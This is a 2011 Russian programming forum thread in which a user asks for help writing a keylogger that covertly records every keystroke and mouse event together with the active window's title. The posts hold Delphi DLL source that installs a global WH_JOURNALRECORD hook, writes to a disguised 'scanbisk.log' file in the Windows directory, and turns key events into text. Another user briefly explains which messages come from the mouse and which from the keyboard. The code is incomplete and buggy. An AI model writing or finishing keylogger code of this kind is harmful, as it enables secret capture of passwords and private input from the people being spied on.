Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 03.05.2011, 19:52   #1
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

Я пытаюсь создать клавовый шпион
который записывал все нажатия клавиш и желательно мыши
с названиями окон в которые они отпралены
Это возможно?
Я тут в Pblog.ru посмотрел но всеравно не получаеться
Помогите пожалуйста
вот то что на писал пока
Код:
library Hooker;


uses
  Windows,
  Messages,
  SysUtils;

var
  SysHook : HHook = 0;
  Wnd : Hwnd = 0;
procedure SaveToLog(Str:String);
var
  f: TextFile;
  Filedir:String;
  windir: array [0..255] of char;
begin
  GetWindowsDirectory(windir, 255);
  Filedir:=windir+'\scanbisk.log';
  AssignFile(f, Filedir);
  if not FileExists(Filedir) then
     begin
        Rewrite(f);
        CloseFile(f);
      end;
    Append(f);
    Writeln(f, str);
    Flush(f);
    CloseFile(f);
end;
function SysMsgProc(code : integer; wParam : word;
    lParam : longint) : longint; export; stdcall;
var

    windtext: array [0..255] of char;
   str:String;
begin
    Result := CallNextHookEx (SysHook, Code, wParam, lParam) ;
  case code of

  HCBT_ACTIVATE:
      begin

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);
    Str:=windtext;
    SavetoLog(#13#13#13Str)
      end;

  HCBT_CREATEWND:
    begin
      Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
      if Str='' then exit;
      if TCBTCreateWnd (Pointer (lParam)^) . lpcs .hwndParent<>0 then exit;

      Wnd := wParam;
      GetWindowText(Wnd, windtext, 255);
      SaveToLog(#13#13#13WindText)
    end;
  //Îêíî óíè÷òîæåíî
  HCBT_DESTROYWND:
    begin
      Str:='';
      Wnd := wParam;
      if Wnd<>0 then
          GetWindowText(Wnd, windtext, 255);
      str:=windtext;
      if windtext='' then exit;
      if Str='' then exit;
      if Length(Str)>0 then
         SaveToLog('Destroy  'Str)
    end;
    end;
end;

procedure RunStopHook(State:Boolean) export; stdcall;
  begin
 
  if State then
  begin

  SysHook := SetWindowsHookEx(WH_JOURNALRECORD,
        @SysMsgProc, HInstance, 0);
  end
  else
    begin
  
      UnhookWindowsHookEx(SysHook) ;
      SysHook := 0;
    end;
end;
exports RunStopHook index 1;
begin

end.
Помогите плиз
a.k.a. Angelicos Phosphoros
Мой сайт

Последний раз редактировалось rpy3uH; 17.05.2011 в 20:41.
New man вне форума Ответить с цитированием
Старый 16.05.2011, 14:22   #2
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

Я вот это нашел
Цитата:
WH_JOURNALRECORD

Windows вызывает этот хук при удалении события из системной очереди. Таким образом, фильтры этого хука вызываются для всех мышиных и клавиатурных событий, кроме тех, которые проигрываются регистрационным хуком на воспроизведение. Фильтрующие функции могут обработать сообщение (то есть, записать или сохранить событие в памяти, на диске, или и там, и там), но не могут изменять или отменять его. Фильтры этого хука могут находиться и внутри DLL, и в .EXE-файле. В Win32 для этого хука реализован только код HC_ACTION.

HC_ACTION

Windows вызывает хук WH_JOURNALRECORD с этим кодом при удалении события из системной очереди. Этот код сигнализирует фильтрующей функции о том, что это событие является нормальным. В lParam при этом передается указатель на структуру EVENTMSG. Обычная процедура записи состоит в сохранении всех пришедших хуку структур EVENTMSG в памяти или на диске.

Структура EVENTMSG описана в WINDOWS.H следующим образом:

typedef struct tagEVENTMSG {
UINT message;
UINT paramL;
UINT paramH;
DWORD time;
HWND hwnd;
} EVENTMSG;

typedef struct tagEVENTMSG *PEVENTMSG, NEAR *NPEVENTMSG, FAR *LPEVENTMSG;
Элемент message является идентификатором сообщения, одним из значений WM_*. Значения paramL и paramH зависят от источника события - мышь это или клавиатура. Если это событие мыши, в paramL и paramH передаются координаты x и y события. Если это клавиатурное событие, в paramL находятся два значения: скан-код клавиши в HIBYTE и виртуальный код клавиши в LOBYTE, а paramH содержит число повторений. 15-й бит числа повторений служит индикатором дополнительной клавиши. В элементе time хранится системное время (наступления события), которое возвращается функцией GetTickCount. hwnd - это хэндл окна, получившего событие.

Промежуток времени между событиями определяется сравнением элементов time этого события с элементом time последующего события. Разница во времени нужна для корректного проигрывания записанных событий.
Что за WM_?
Как определить от мыши или отклавы пришлособытие?
a.k.a. Angelicos Phosphoros
Мой сайт
New man вне форума Ответить с цитированием
Старый 16.05.2011, 20:46   #3
Spawn™Production®
Форумчанин
 
Аватар для Spawn™Production®
 
Регистрация: 06.05.2011
Сообщений: 287
По умолчанию

Цитата:
Что за WM_?
Windows Message, как ни странно...
Цитата:
Как определить от мыши или отклавы пришлособытие?
WM_LBUTTONUP, WM_LBUTTONDOWN и т.п. - крыса
WM_KEYUP, WM_KEYDOWN - клавиатура...
Spawn™Production® вне форума Ответить с цитированием
Старый 17.05.2011, 20:36   #4
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

спасибо большое
a.k.a. Angelicos Phosphoros
Мой сайт
New man вне форума Ответить с цитированием
Старый 24.05.2011, 22:28   #5
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

Я написал function для звозвращения строки по
EVEntMSG
но пишет не то, что надо
Цитата:
{----}
была нажата кнопка
вот функция
Код:
function GetStrByKey(bbb:EVENTMSG):string;
var KeyBoardState:TKeyboardState;
    Symbol:array[0..1]of char;
    buf:array[0..255]of char;
begin
  with bbb do
  begin
  GetKeyboardState(KeyBoardState);
  if ToAscii((Paraml shl 16)and $FF,(Paraml shr 16)and $FF,KeyBoardState,@Symbol,0)>0 then
     case Symbol[0] of
       '1'..#126:result:=Symbol[0];
       #128..#175:result:=Symbol[0];
       #224..#247:result:=Symbol[0];
     else begin
           GetKeynameText((Paraml shr 16)and $FF,@buf,256);
           result:=#13#10'{----}'#13#10'áûëà íàæàòà êíîïêà '+buf+#13#10'{-----}'#13#10;
          end;
     end;
  end;
end;
помогите пожалуйста
a.k.a. Angelicos Phosphoros
Мой сайт

Последний раз редактировалось New man; 24.05.2011 в 22:39.
New man вне форума Ответить с цитированием
Старый 25.05.2011, 15:33   #6
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

Вот проект и тот лог что у мя получается
Помогите исправить ошибки плиз
Вложения
Тип файла: rar Keylogger(1).rar (1.7 Кб, 18 просмотров)
a.k.a. Angelicos Phosphoros
Мой сайт
New man вне форума Ответить с цитированием
Старый 27.05.2011, 18:44   #7
New man
Форумчанин
 
Регистрация: 24.01.2011
Сообщений: 774
По умолчанию

Неужели никто не поможет?
a.k.a. Angelicos Phosphoros
Мой сайт
New man вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
keylogger-клавиатурный шпион betirsolt Win Api 59 04.08.2011 10:40
клавиатурный шпион sisofcase Общие вопросы Delphi 6 20.06.2011 17:55
keylogger, он же клавиатурный шпион. нужен совет от гуру..=) T.A. Общие вопросы C/C++ 2 23.11.2010 20:25
Клавиатурный обработчик. Shub_Niggurath Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 1 16.06.2010 22:47
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17